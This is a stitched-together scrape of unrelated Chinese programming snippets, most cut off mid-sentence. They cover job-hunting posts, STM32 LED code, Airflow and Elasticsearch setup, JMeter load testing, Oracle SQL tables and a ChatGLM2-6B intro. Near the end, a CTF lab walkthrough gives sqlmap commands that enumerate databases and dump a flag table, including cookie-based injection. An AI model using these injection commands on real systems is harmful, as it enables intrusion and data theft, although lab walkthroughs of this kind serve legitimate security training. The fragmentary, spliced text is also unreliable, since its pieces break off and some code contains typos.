#include <iostream>using namespace std;int main() { int arr[4][3] = { 题解 | #求解立方根#
const rl = require("readline").createInterface({ input: process.stdin 分布式锁和悲观锁
分布式锁和悲观锁是两种不同的锁机制,用于解决不同的并发控制问题。分布式锁是一种在分布式系统中实现同步的机制,用于控制多个进程或节点对共享资源的访问。分布式锁通常
前端秋招项目
想问问大佬们,想再准备一个比较有亮点的前端项目,有什么推荐吗?真诚发问(目前有点想做网易云音乐网页版,但是自己不太清楚这个项目该怎么去介绍和突出亮点) #秋招#
专科真的不配学计算机吗
22届专科,暑假过完大二,现在正在学框架,网上说专科学java就废了肯定找不到工作,学了小半年了,用课余时间,暑假每天都在学,不是很愿意就这样放弃想坚持下去,看
面试阿里
1、笔试2、测评3、面试4、offer
来深圳短短一天,诸事不顺😇
飞机无法降落,盘旋一小时,台风,暴雨,赶时间偶尔喝一次可乐呕吐(胆汁差点吐出来),洗澡触发sos报警装置。短短的一天太精彩了。 #我的实习求职记录#
联洲
请问有联洲7-11座谈会的uu,收到电话了吗?
关于项目
想找个项目做,有没有不那么烂大街的后端推荐😢
如果晾衣杆没掉的话,今天应该是轻松愉快的
如果晾衣杆没掉的话,今天应该是轻松愉快的一天。早上睡到十一点,吃完薯片吃黄瓜,一根真的太多了,吃到舌头发涩,然后麦片泡牛奶。然后刷了一小时手机,就去上班了。大佬
麻了
24届这种是不是该去培训班进修了。。。但是好贵,一万七五个月,还只有最后一个阶段的微服务分布式项目有用
java
普通二本还能找到工作吗 #java#
字节跳动C/C++方向面经
百度2024提前批一面面经
如何一次渲染10万条数据?
面试官想了解:面试者对原生js底层的了解、对渲染机制的理解。
思路:
第一种方案:分页 + setTimeout()
第二种方案:分页 + window.requestAnimationFrame()减少重排
第三种方案:分页 + window.requestAnimationFrame() + document.createDocumentFragment()文档碎片
(方案一到方案三,渲染所需的时间逐渐较少,方案一大概要2秒,后面2个方案所需的时间就更少)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <div>如何一次渲染10万条数据?</div> <div>面试官想了解:面试者对原生js底层的了解、对渲染机制的理解</div> <script> // 模拟请求接口数据 const getData = () => { return new Primise((resolve, reject) => { }); }; // 第一种方案:分页 + setTimeout() const renderList1 = async () => { console.time('开始分页'); const data = await getData(); const total = data.
1、STM32分类 内核:Cortex-M0、Cortex-M3、Cortex-M4、Cortex-M7
每个内核又可分为:主流、高性能、低功耗 STM8与STM32分类 CPU位数内核系列描述32Cortex-M0STM32-F0入门级STM32-L0低功耗Cortex-M3STM32-F1基础型STM32-F2高性能STM32-L1低功耗Cortex-M4STM32-F3混合信号STM32-F4高性能STM32-L4低功耗Cortex-M7STM32-F7高性能8超级版6502STM8S标准系列STM8AF标准系列的汽车应用STM8AL低功耗系列的汽车应用STM8L低功耗 2、STM32命名方法 (具体内容可参考选型手册)
3、选型手册 详见文件STM32_Selection_Guide
Mybatis-Plus条件构造器查找单个数据 Mybatis-Plus条件构造器查找单个数据,使用selectOne方法时,务必确定数据库里该条件仅有一条数据,否则将会报错,还是谨慎使用该方法。
不确定的情况下可换成selectList方法,在进行判断。
齿轮轮齿轮廓是一个渐开线方程,当一根绳子绕紧一个圆拉直了端部旋转,则绳子端部画出的曲线就是一个螺旋状的渐开线,方程如下,渐开线齿之间啮合传动能保持恒定传动比,传动平稳等特性。
QPointF involute(float r, float s) { float x=r*cos(s) + r*s*sin(s); float y=r*sin(s) - r*s*cos(s); return QPointF(x,y); } 下面还是用QPainter将曲线离散为多段线进行可视化。demo是用c4droid编译的apk放到蓝奏上面
我用蓝奏浏览器分享了[curvetest01], 下载链接:https://wwp.lanzoup.com/iTE2A12mp58j 提取码 : 8mok, 你可以不限速下载哦
#include <QApplication> #include <QLabel> #include <QWidget> #include <QPainter> #include <QTimer> #include <QMouseEvent> #include<vector> #define _USE_MATH_DEFINES #include <math.h> float deg2rad(float si) { return (si*M_PI)/180.0; } QPointF involute(float r, float s) { float x=r*cos(s) + r*s*sin(s); float y=r*sin(s) - r*s*cos(s); return QPointF(x,y); } void createInvoNodes(float cx,float cy,float r, int n, float ds, std::vector<QPointF>& polyline) { for(int i=0;i<n;i++) { float s=float(i)*ds; QPointF v=involute(r,s); QPointF revv=QPointF(cx+v.
一、测试安装成功 1.创建一个项目 第一步:打开VS,点击创建新项目(N)
第二步:点击空项目
第三步:在项目名称中输入自己的项目名称 ;在位置中选择项目的储存位置(建议单独新建一个文件夹用于以后存放项目)最后点击创建即可完成项目创建。
## 2.创建一个源文件
鼠标找到源文件之后右键,点击添加再点击新建项可,选中c++文件后对储存位置和源文件名称完成更改,即可点击添加,完成源文件创建。
3.写代码
3.写代码 完成项目和源文件的创建,就可以写代码了。
#include<stdio.h> int main() { printf("VS2022安装成功!"); return 0; } 4.编译代码+运行 方法一:快捷键 ctrl+f5
方法二:点击本地Windows调试器
5.运行结果 运行结果如上图所示,证明VS2022安装完成,也恭喜你自己的第一个c语言项目完成了。
参考链接
在学习Android的过程中,想要通过真机对应用程序进行调试,电脑连接USB安装驱动时并不顺利,弹出提示为 ADB Interface驱动未安装,如图:
Android ADB Interface是一个支持android和PC连接的程序,通过它Windows就可以自动识别并安装驱动软件。
Android posite安卓套件,ADBandroid调试桥,Interface接口。
出现这样的问题是因为ADB驱动没有加载,或者驱动程序未更新造成的。
在网上看了很多教程也没能解决问题,也可能是我没弄懂吧,不管啦!!!
下面请看我是如何成功安装ADB Interface驱动的吧,其实也没那么难的 首先进入到附属的这个网址下载一个压缩包,我下载的是第一个
http://adbdriver.com/downloads/
网站界面如下图所示: 下载完成后,执行以下操作: 进入下一个界面 上面的红框会显示要安装的东西,也就是缺少的那个,由于我是装成功了才写的文章,这里就没有显示内容,按步骤安装成功后打开您的android studio运行,当然您的设备得在 开发者模式 下,进行 USB调试 显示如图即为成功:
如果您按照我提供的步骤依次进行并显示上图所示的话,那么恭喜您问题解决了,接下来想怎么使用都任凭自个儿发挥了。
希望对您有所帮助。
:: 更多内容 :: > 开发过程中踩坑经验记录
设计一个表示学生的类:Student,该类的属性包括name(姓名)、age(年龄)、scores(成绩,包含语文、数学和英语三科成绩,每科成绩的类型为整数),此外该类还有三个方法:(8分)
(1)获取学生姓名的方法:get_name(),返回类型为str。
(2)获取学生年龄的方法:get_age(),返回类型为int。
(3)返回三门科目中最高的分数:get_course(),返回类型为int。 class Student(object): # 构造方法 def __init__(self, name, age, scores): self.__name = name # 姓名 self.__age = age # 年龄 self.__scores = scores # 分数 def get_name(self): return self.__name def get_age(self): return self.__age def get_course(self): return max(self.__scores) stu = Student('小丸子', 18, [89, 90, 91]) print("姓名:%s" % (stu.get_name())) print("年龄:%s" % (stu.get_age())) print("最高分:%s" % (stu.get_course())) 结果:
写在开始 :
本文主要讲述 : ThreadLocal简介; 常用API; demo案例; 特点引用场景;以及部分底层原理源码内容。
引言 : 从常见面试题看 ThreadLocal:
**①解释 **: ThreadLocal是多线程中对于解决线程安全的一个操作类,它会为每个线程都分
配一个独立的线程副本从而解决了变量并发访问冲突的问题。ThreadLocal 同时
实现了线程内的资源共享;
②案例:使用JDBC操作数据库时,会将每一个线程的Connection放入各自的
ThreadLocal中,从而保证每个线程都在各自的 Connection 上进行数据库的操
作,避免A线程关闭了B线程的连接。
public class ThreadLocalTest { static ThreadLocal<String> threadLocal = new ThreadLocal<>(); public static void main(String[] args) { new Thread(() -> { String name = Thread.currentThread().getName(); threadLocal.set("itcast"); // set(v)方法 : 设置值 print(name); System.out.println(name + "-after remove : " + threadLocal.get()); // get()方法:获取值 }, "t1").start(); new Thread(() -> { String name = Thread.
文章目录 一、LED点亮1.原理2.寄存器方式--代码3.库函数--代码4.结果展示 二、LED闪烁三、LED流水灯1.代码2.结果展示 一、LED点亮 1.原理 其方式有两种一种是寄存器方式一种是库函数方式,但其原理都是一样的。如原理图所示,与LED相连接的IO口置低电平即可点亮led灯
2.寄存器方式–代码 //寄存器方式 //主频8Mhz的时候实现1us延时的方法 //LED灯 //1,开时钟PE时钟 RCC->APB2ENR |= 1<<6; //2,配置IO口 GPIOE->CRL &= ~(0xffff<<8);//先清零指定寄存器位 GPIOE->CRL |= 0x1111<<8;//设置模式为推挽输出模式 //3, 设置开关灯 GPIOE->ODR |= 0xf<<2;//关灯操作 3.库函数–代码 (1)led.c:函数led_config()
//库函数 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOE,ENABLE); GPIO_InitTypeDef GPIO_InitStruct={0}; GPIO_InitStruct.GPIO_Mode=GPIO_Mode_Out_PP; GPIO_InitStruct.GPIO_Pin=GPIO_Pin_2; GPIO_InitStruct.GPIO_Speed=GPIO_Speed_2MHz; GPIO_Init(GPIOE,&GPIO_InitStruct); GPIO_ResetBits(GPIOE,GPIO_Pin_2); (2)main.c调用led_config
4.结果展示 二、LED闪烁 原理:让连接的IO口先置零再置1可以使其先亮再灭,我们先使灯置1,然后宏定义让灯反转,delay一个时间,代码如下
(1)led.c函数led_config()置1:
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOE,ENABLE); GPIO_InitTypeDef GPIO_InitStruct={0}; GPIO_InitStruct.GPIO_Mode=GPIO_Mode_Out_PP; GPIO_InitStruct.GPIO_Pin=GPIO_Pin_2; GPIO_InitStruct.GPIO_Speed=GPIO_Speed_2MHz; GPIO_Init(GPIOE,&GPIO_InitStruct); GPIO_SetBits(GPIOE,GPIO_Pin_2); (2)led.h宏定义灯的反转
#define LED1_Toggle() GPIOE->ODR ^= (1<<2)//反转灯操作 (3)main.c调用
int main(void){ LED_Config(); while(1) { if(sys_time>=1000) { sys_time = 0; LED1_Toggle(); } } sys_time在delay.
文章目录 Airflow基本概念 概述名词 Airflow安装 安装Python环境 安装Miniconda创建Python3.8环境 安装Airflow修改数据库为MySQL修改执行器 部署使用Dag任务操作 删除Dag任务查看当前所有dag任务配置邮件服务器 Airflow基本概念 概述 Airflow是一个以编程方式编写,安排和监视工作流的平台。
使用Airflow将工作流编写任务的有向无环图(DAG)。Airflow计划程序在遵循指定的依赖项,同时在一组工作线程上执行任务。丰富的命令实用程序使在DAG上执行复杂的调度变的轻而易举。丰富的用户界面使查看生产中正在运行的管道,监视进度以及需要时对问题进行故障排除变的容易。
名词 (1)Dynamic:Airflow配置需要实用Python,允许动态生产管道。这允许编写可动态。这允许编写可动态实例化管道的代码。
(2)Extensible:轻松定义自己的运算符,执行程序并扩展库,使其适合于您的环境。
(3)Elegant:Airlfow是精简的,使用功能强大的Jinja模板引擎,将脚本参数化内置于Airflow的核心中。
(4)Scalable:Airflow具有模板块架构,并使用消息队列来安排任意数量的工作任务。
Airflow安装 https://airflow.apache.org
安装Python环境 Superset是由Python语言编写的Web应用,要求Python3.8的环境。
安装Miniconda conda是一个开源的包、环境管理器,可以用于在同一个机器上安装不同Python版本的软件包及其依赖,并能够在不同的Python环境之间切换,Anaconda包括Conda、Python以及一大堆安装好的工具包,比如:numpy、pandas等,Miniconda包括Conda、Python。
此处,我们不需要如此多的工具包,故选择MiniConda。
(1)下载Miniconda(Python3版本)
下载地址:https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh
(2)安装Miniconda
执行以下命令进行安装,并按照提示操作,直到安装完成。
[atguigu@hadoop102 lib]$ bash Miniconda3-latest-Linux-x86_64.sh 1 在安装过程中,出现以下提示时,可以指定安装路径:
(3)加载环境变量配置文件,使之生效
[atguigu@hadoop102 lib]$ source ~/.bashrc 1 (4)取消激活base环境
Miniconda安装完成后,每次打开终端都会激活其默认的base环境,我们可通过以下命令,禁止激活默认base环境。
[atguigu@hadoop102 lib]$ conda config --set auto_activate_base false 1 创建Python3.8环境 (1)配置conda国内镜像
(base) [atguigu@hadoop102 ~]$ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free (base) [atguigu@hadoop102 ~]$ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main (base) [atguigu@hadoop102 ~]$ conda config --set show_channel_urls yes 123 (2)创建python3.
腾讯QQ 9是一款流行的即时通讯工具,以下是它的设计和变化:
1. 界面设计改进: QQ 9的界面设计相对于之前的版本更加简洁、明晰,平铺的版面设计也更加整齐,让人们更容易使用。
2. 新增语音直播与视频通话: QQ 9新增了语音直播和视频通话功能。这使得用户可以与朋友进行更加真实的互动,并且可以与朋友分享生活中的点滴。
3. 优化智能聊天功能: QQ 9的智能聊天功能升级了,它可以更好地理解用户的意图和语言,从而提供更好的聊天体验。
4. 提供更多的表情和语音消息: QQ 9增加了更多的表情和语音消息,这使得用户可以更好地表达自己的情感,更好地与朋友交流。
总体来说, QQ 9显著地提高了用户的聊天体验,同时也提供了更多的功能来满足用户的需求。
1.搭建环境 1.Docker部署
1.1) 拉取镜像 docker pull elasticsearch:7.4.0 1.2) 创建容器 docker run -id --name elasticsearch -d --restart=always -p 9200:9200 -p 9300:9300 -v /usr/share/elasticsearch/plugins:/usr/share/elasticsearch/plugins -e "discovery.type=single-node" elasticsearch:7.4.0 1.3) 配置中文分词器 ik 因为在创建elasticsearch容器的时候,映射了目录,所以可以在宿主机上进行配置ik中文分词器
在去选择ik分词器的时候,需要与elasticsearch的版本好对应上
把资料中的elasticsearch-analysis-ik-7.4.0.zip上传到服务器上,放到对应目录(plugins)解压
#切换目录 cd /usr/share/elasticsearch/plugins #新建目录 mkdir analysis-ik cd analysis-ik #root根目录中拷贝文件 mv elasticsearch-analysis-ik-7.4.0.zip /usr/share/elasticsearch/plugins/analysis-ik #解压文件 cd /usr/share/elasticsearch/plugins/analysis-ik unzip elasticsearch-analysis-ik-7.4.0.zip 1.4) 使用postman测试 192.168.200.130:9200/_analyze post请求 {"analyzer":"ik_max_word", "text":"欢迎使用ES"} 2.创建索引 2.1 确定索引字段 2.2 那些需分词 { "mappings":{ "properties":{ "id":{ "type":"long", "copy_to":"all" }, "publishTime":{ "type":"date" }, "
AFX_MANAGE_STATE(AfxGetStaticModuleState());
在DoModel之前调用上面这句话
前言 Python 可以使用 requests 库来调用 API 接口获取数据。以下是基本的步骤:
安装 requests 库 pip install requests 导入 requests 库 import requests 【----帮助相关技术学习,以下所有学习资料文末免费领!----】
构建 API 请求的 URL 根据 API 文档,构建请求的URL。
例如, https://api.example.com/posts 是获取所有帖子的 URL。
发送 API 请求 使用 requests.get() 方法发送请求,并接收响应。
response = requests.get(url) 处理响应数据 响应的数据格式可能有多种,如 JSON、XML 等。
如果响应数据是 JSON 格式的,可以将其转换为 Python 字典并进行处理。
data = response.json() 完整的代码示例:
import requests url = "https://api.example.com/posts" response = requests.get(url) if response.status_code == 200: data = response.json() # 对响应数据进行处理 else: print("
Q1:线上压测步骤:
1、写压测报备邮件和压测方案
2、准备压测脚本
3、申请发压机(私有云)
4、登录发压机 上传jmeter文件和csv文件 执行压测命令
5、写压测记录报告
压测工具 :jmeter ,将压测脚本&压测数据上传到linux系统中(用rz命令),用命令行压测
Q2:压测方式2种:
1、单机压测
(1)压测执行命令:
cd .. 进入home目录下
sudo sh /home/yueling001/apache-jmeter-5.0/bin/jmeter.sh -n -t delegate.jmx -l delegate`date +%s`.jtl -e -o resultdelegate`date +%s`
(2)linux文件夹下载(聚合报告下载)
a、压缩文件夹
i:进入压测结果文件夹所在路径(用cd命令)
ii: tar cvzf ./opptyresult9.gz opptyresult
b、下载
sz opptyresult9.gz
(3)压测过程中 修改压测脚本
进入压测脚本所在路径
vim **.jmx /(需要搜索的内容 ps:“/"相当于grep)
i (编辑)
esc
:wq! (强制退出并保存)
Q21:多个单机同时压测
注意点:脚本&csv文件一致
压测的tps:是多个单机的tps之和
avg:是多个单机的avg的平均值
2、分布式压测(master-slave/controller-agent)
压测步骤:
a、选择一个机器做为controller(存放压测脚本**.jmx),其他多个机器作为agent(存放csv文件(为了模拟线上真实的场景,入参和Header等的取值一般采用变量的形式),注:多个agent中存放csv文件的路径要保持一致)
b、修改jmeter的bin路径下的jmeter.properties中的remote_host的值 配置远程的agentid
c、在对应的agent上启动jmeter-server
i: cd /home/yueling001/apache-jmeter-5.0/bin
ii: nohup ../yueling001/apache-jmeter-5.0/bin/jmeter-server -Djava.
Flutter是一款由Google推出的跨平台移动应用开发框架,近年来备受关注。尽管Flutter在某些方面表现出色,但仍然有一些人对它的发展前景表示怀疑。近期一些文章针对Flutter的发展提出了不少质疑和批评,称其难以成为移动应用开发的“顶流明星”,这些文章中提到了不少问题和缺陷,从技术实现、生态系统、用户体验等方面进行了分析和评价。
一、语言问题 Flutter使用Dart语言,这是一种较新的面向对象语言,虽然其语法简单、易于阅读和编写,但是相比其他常用编程语言,Dart的使用率较低,这使得某些开发者可能会认为Flutter的学习曲线较陡峭。此外,Dart的生态系统相对较小,这意味着在使用Flutter开发应用程序时,可能需要自己编写一些必要的功能或者使用不太流行的第三方库。然而,Dart的静态类型检查和强类型安全性可以提高代码的可维护性和可读性,从长远来看,可能更有益于应用程序的稳定性和可靠性。
二、开发人员生态系统 Flutter的生态系统相对较小,这是因为Flutter是一个较新的框架,相对于React Native或Ionic等其他框架而言,Flutter的开发者数量和用户群体较少,其社区和生态系统相对薄弱。这使得一些开发者可能会发现在使用Flutter开发应用程序时,需要花费更多的时间和精力去解决问题,或者自己编写某些必要的功能。然而,随着Flutter的不断发展和壮大,其社区和生态系统也在逐渐扩大和完善,未来可能会有更多的第三方库和工具出现,更多的开发者会参与到Flutter的开发中来,这有助于提升Flutter的生态系统。
三、学习成本问题 尽管Flutter的语法相对简单易懂,但是学习Flutter需要一定的编程基础和经验。尤其对于没有移动端开发经验的开发者而言,学习Flutter可能需要花费更多的时间和精力。此外,由于Flutter的生态系统相对较小,一些问题需要自己解决或者使用不太流行的第三方库,这可能会增加学习成本和难度。但是,与其他移动端开发框架相比,Flutter的学习成本并不算高,只要掌握了基本的编程概念和语法,就可以开始使用Flutter进行开发。
相比于Flutter,小程序容器技术的跨平台开发更加容易上手,不需要像Flutter那样学习自定义UI组件和编写更多的代码来构建UI和处理逻辑。小程序容器技术提供了类似于Web开发的开发方式,开发者可以使用HTML、CSS和JavaScript等前端技术来开发小程序,并且可以通过一些开发工具和平台来快速构建和部署小程序。这使得小程序容器技术的开发门槛相对较低,即使是没有移动端开发经验的开发者也可以比较快速地上手。
此外,小程序容器技术的生态系统也相对较为成熟和完善,拥有庞大的用户群体和开发者社区。在小程序生态系统中,有很多的第三方库和组件可以使用,可以帮助开发者快速构建和开发小程序。与Flutter相比,小程序容器技术的生态系统更加丰富,能够提供更多的开发工具和解决方案,可以让开发者更加便捷地进行应用程序开发。
四、性能问题
Flutter的性能非常好,但与React Native等框架相比,仍然可能存在一些性能瓶颈。例如,在处理大量数据或复杂动画等方面,可能会出现性能问题。此外,Flutter中的UI渲染机制可能会导致更高的CPU和GPU使用率,因此在开发Flutter应用程序时,需要格外注意性能问题。尽管如此,Flutter在多个方面都优于其他框架,例如其快速的热重载功能和优秀的跨平台支持等,因此,Flutter的性能问题并不会成为开发者放弃使用Flutter的主要原因。
五、设计问题 Flutter的设计风格和开发方式可能不适合所有开发者。Flutter的设计风格比较激进,它采用了一种称为“自绘UI”的方式,这意味着所有UI组件都是自定义的,并且没有与平台原生UI组件一致的设计。这使得一些开发者可能会认为Flutter的设计方式与其他框架不同,需要适应一段时间才能习惯。此外,Flutter的开发方式与传统的声明式UI不同,开发者需要编写更多的代码来构建UI和处理逻辑。这使得一些开发者可能会认为Flutter的开发方式不太直观,需要花费更多的时间去理解和学习。
六、社区问题 尽管Flutter的社区和生态系统正在不断壮大,但相对于其他框架而言,Flutter的社区和用户群体仍然相对较小。这可能会导致一些问题难以得到及时的解决,或者无法找到合适的第三方库来解决某些问题。此外,由于Flutter相对较新,一些开发者可能会认为Flutter的文档和教程不够完善或者不够详细,这可能会影响开发者的使用体验和学习效率。然而,随着时间的推移,这些问题可能会得到逐步解决,Flutter的社区和生态系统也会越来越强大。
七、市场占有率问题 尽管Flutter在近几年来发展迅速,但其市场占有率仍然相对较低。目前,React Native仍然是移动端开发的主流框架之一,而Ionic、NativeScript等框架也有自己的用户群体。这可能会导致一些开发者对Flutter的使用持怀疑态度,认为Flutter的用户群体不够广泛,可能不具备足够的发展潜力。然而,随着Flutter的不断发展和壮大,其市场占有率也在逐渐提升,未来可能会有更多的企业和开发者选择使用Flutter进行应用程序开发。
虽然Flutter在某些方面还存在一些不足和挑战,但是我们也可以看到它的不断发展和进步。Google及其社区不断加强对Flutter的支持和推广,开发者们也在不断探索和使用Flutter来开发各种类型的应用程序。相信在未来的发展中,Flutter还会不断完善和优化,成为更加强大和有影响力的移动应用开发框架。
与此同时,我们也要意识到,每一款技术都有其适用的场景和局限性,我们需要在实际开发中根据项目需求和技术特点做出合理的选择和应用。
文章目录 准备工作一、业主类型表(t_onwnertype)二、价格表(t_pricetable)三、区域表(t_area)四、收费员表(t_operator)五、地址表(t_address)六、业主表(t_owners)七、收费台账(t_account) 一、简单查询(单表)1.精确查询2.模糊查询3.and运算符4.or运算符5. and 与 or 运算符混合使用6. 范围查询7. 空值查询 二、去掉重复记录三、排序查询1.升序查询2.降序排序 四、基于伪列的查询1.rowid2.rownum 五、聚合统计1.聚合函数2.分组聚合 Group by3.分组后条件查询 having 二、连接查询(一)多表内连接查询(二)左外连接查询(三)右外连接查询 三、子查询(一)where 子句中的子查询1. 单行子查询2. 多行子查询in运算符 (二)from 子句中的子查询(三)select 子句中的子查询 四、分页查询(一)简单分页(二)基于排序的分页 五、单行函数(一)字符函数(二)数值函数(三)日期函数(四)转换函数(五)其它函数(六)行列转换(七)分析函数八、集合运算(一)什么是集合运算(二)并集运算(三)交集运算(四)差集运算 准备工作 以黑马程序员Oracle教程为例,需要准备七张表,表结构及关系如下(Oracle数据库不区分大小写,最终都会转换为大写):
一、业主类型表(t_onwnertype) 字段名类型(位数)是否必填说明idnumber是主键namevarchar2(30)是类型名称 二、价格表(t_pricetable) 字段名类型(位数)是否必填说明idnumber是主键pricenumber(10,2)是价格ownertypeidnumber是业主类型idminnumnumber(10,2)是区间数开始值maxnumnumber(10,2)是区间数截止值 三、区域表(t_area) 字段名类型(位数)是否必填说明IDnumber是主键namevarchar2(30)是区域名称 四、收费员表(t_operator) 字段名类型(位数)是否必填说明idnumber是主键namevarchar2(30)是操作员名称 五、地址表(t_address) 字段名类型(位数)是否必填说明idnumber是主键namevarchar2(30)是地址名称areaidnumber是区域idoperatoridnumber是操作员id 六、业主表(t_owners) 字段名类型(位数)是否必填说明idnumber是主键namevarchar2(30)是业主名称addressidnumber是地址idhousenumbernumber是门牌号watermetervarchar2(30)是水表编号adddatedate是登记日期ownertypeidnumber是业主类型id 七、收费台账(t_account) 字段名类型(位数)是否必填说明IDnumber是主键owneridnumber是业主编号ownertypeidnumber是业主类型areaidnumber是所在区域yearchar(4)是账务年份monthchar(2)是账务月份num0number上月累计数num1number本月累计数usenumnumber本月使用数meteruseridnumber抄表员metedatadate抄表日期moneynumber(10,2)应缴金额isfeechar(1)是否缴费feedatedate缴费日期feeuseridnumber收费员 七张表的关系如下:
大家自己可以使用DDL语言自己按照表结构创建表,或者使用下面代码创建,同时插入数据:
注意:大家在创建表之前,要先创建表空间、在表空间中创建用户、给用户赋予权限、然后登录用户,在用户中创建表。
--建立价格区间表 create table t_pricetable ( id number primary key, price number(10,2), ownertypeid number, minnum number, maxnum number ); --业主类型 create table t_ownertype ( id number primary key, name varchar2(30) ); --业主表 create table t_owners ( id number primary key, name varchar2(30), addressid number, housenumber varchar2(30), watermeter varchar2(30), adddate date, ownertypeid number ); --区域表 create table t_area ( id number, name varchar2(30) ); --收费员表 create table t_operator ( id number, name varchar2(30) ); --地址表 create table t_address ( id number primary key, name varchar2(100), areaid number, operatorid number ); --账务表-- create table t_account ( id number primary key, owneruuid number, ownertype number, areaid number, year char(4), month char(2), num0 number, num1 number, usenum number, meteruser number, meterdate date, money number(10,2), isfee char(1), feedate date, feeuser number ); create sequence seq_account; --业主类型 insert into t_ownertype values(1,'居民'); insert into t_ownertype values(2,'行政事业单位'); insert into t_ownertype values(3,'商业'); --地址信息-- insert into t_address values( 1,'明兴花园',1,1); insert into t_address values( 2,'鑫源秋墅',1,1); insert into t_address values( 3,'华龙苑南里小区',2,2); insert into t_address values( 4,'河畔花园',2,2); insert into t_address values( 5,'霍营',2,2); insert into t_address values( 6,'回龙观东大街',3,2); insert into t_address values( 7,'西二旗',3,2); --业主信息 insert into t_owners values(1,'范冰',1,'1-1','30406',to_date('2015-04-12','yyyy-MM-dd'),1 ); insert into t_owners values(2,'王强',1,'1-2','30407',to_date('2015-02-14','yyyy-MM-dd'),1 ); insert into t_owners values(3,'马腾',1,'1-3','30408',to_date('2015-03-18','yyyy-MM-dd'),1 ); insert into t_owners values(4,'林小玲',2,'2-4','30409',to_date('2015-06-15','yyyy-MM-dd'),1 ); insert into t_owners values(5,'刘华',2,'2-5','30410',to_date('2013-09-11','yyyy-MM-dd'),1 ); insert into t_owners values(6,'刘东',2,'2-2','30411',to_date('2014-09-11','yyyy-MM-dd'),1 ); insert into t_owners values(7,'周健',3,'2-5','30433',to_date('2016-09-11','yyyy-MM-dd'),1 ); insert into t_owners values(8,'张哲',4,'2-2','30455',to_date('2016-09-11','yyyy-MM-dd'),1 ); insert into t_owners values(9,'昌平区中西医结合医院',5,'2-2','30422',to_date('2016-10-11','yyyy-MM-dd'),2 ); insert into t_owners values(10,'美廉美超市',5,'4-2','30423',to_date('2016-10-12','yyyy-MM-dd'),3 ); --操作员 insert into t_operator values(1,'马小云'); insert into t_operator values(2,'李翠花'); --地区-- insert into t_area values(1,'海淀'); insert into t_area values(2,'昌平'); insert into t_area values(3,'西城'); insert into t_area values(4,'东城'); insert into t_area values(5,'朝阳'); insert into t_area values(6,'玄武'); --价格表-- insert into t_pricetable values(1,2.
之前教过大家利用 langchain + ChatGLM-6B 实现个人专属知识库,非常简单易上手。最近,智谱 AI 研发团队又推出了 ChatGLM 系列的新模型 ChatGLM2-6B,是开源中英双语对话模型 ChatGLM-6B 的第二代版本,性能更强悍。
树先生之所以现在才更新 ChatGLM2-6B 知识库教程,是想等模型本身再多迭代几个版本,不至于刚出的教程很快不适配,或者项目本身一堆 bug,那样大家使用体验也不好。
ChatGLM2-6B 介绍 ChatGLM2-6B 在保留了初代模型对话流畅、部署门槛较低等众多优秀特性的基础之上,引入了如下新特性:
更强大的性能:基于 ChatGLM 初代模型的开发经验,全面升级了基座模型。ChatGLM2-6B 使用了 GLM 的混合目标函数,经过了 1.4T 中英标识符的预训练与人类偏好对齐训练,评测结果显示,相比于初代模型,ChatGLM2-6B 在 MMLU(+23%)、CEval(+33%)、GSM8K(+571%) 、BBH(+60%)等数据集上的性能取得了大幅度的提升,在同尺寸开源模型中具有较强的竞争力。 更长的上下文:基于 FlashAttention 技术,将基座模型的上下文长度(Context Length)由 ChatGLM-6B 的 2K 扩展到了 32K,并在对话阶段使用 8K 的上下文长度训练,允许更多轮次的对话。更高效的推理:基于 Multi-Query Attention 技术,ChatGLM2-6B 有更高效的推理速度和更低的显存占用:在官方的模型实现下,推理速度相比初代提升了 42%,INT4 量化下,6G 显存支持的对话长度由 1K 提升到了 8K。 更开放的协议:ChatGLM2-6B 权重对学术研究完全开放,在获得官方的书面许可后,亦允许商业使用。 相比于初代模型,ChatGLM2-6B 多个维度的能力都取得了提升,以下是一些官方对比示例。
总的来说,看起来效果还不错,下面跟着树先生一起来试试水~
本文我将分 3 步带着大家一起实操一遍,并与之前 ChatGLM-6B 进行对比。
ChatGLM2-6B 部署ChatGLM2-6B 微调LangChain + ChatGLM2-6B 构建个人专属知识库 ChatGLM2-6B 部署 这里我们还是白嫖阿里云的机器学习 PAI 平台,使用 A10 显卡,这部分内容之前文章中有介绍。
差不多学了4天的SQL手工注入,学习一下sqlmap的使用,用工具偷偷懒。但等级越高,其速度越慢。
探测等级 --level1:默认的等级,会进行基本的测试,包括GET和POST方式。 --level2: 在原有的基础上增加对cookie的检测。 --level3: 增加对User Agent、Referer 的检测 --lever4: 更多的payload --level5: 最高等级,包含所有的payload,会尝试自动破解出cookie、xff等头部注入。 过程中都会有五个选择
一、整数型注入
1、找数据库
sqlmap.py -u "http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1" --dbs 2、找数据库里面的表
python sqlmap.py -u "http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 3、看表的列数
python sqlmap.py -u "http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns 4、爆破列里面的内容
>python sqlmap.py -u "http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump 二、字符型注入
同一理
三、报错注入
同一理
四、布尔盲注
同一理
五、时间盲注
同一理
六、MySQL结构
同一理
七、Cookie注入
1、顾名思义,要拿到cookie值
2、需要设置level至少为2
python sqlmap.py -u "http://challenge-aa747be60c43fb63.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F"
shell 脚本常用命令(I) 特殊的环境变量 PATH PATH 是一个特殊的环境变量,用于指定可执行文件的搜索路径
当你在 Shell 中输入一个命令时,系统会在 PATH 中列出的路径列表中搜索该命令的可执行文件,并执行找到的第一个匹配文件。PATH 变量的值是一个由冒号 : 分隔的路径列表,每个路径代表一个可执行文件的搜索目录。
HOME HOME:表示当前用户的主目录路径。在 Unix/Linux 系统中,每个用户都有一个主目录,用于存储该用户的文件和设置。HOME 环境变量通常被用于指定文件和数据的默认存储位置,以及一些应用程序的默认设置。
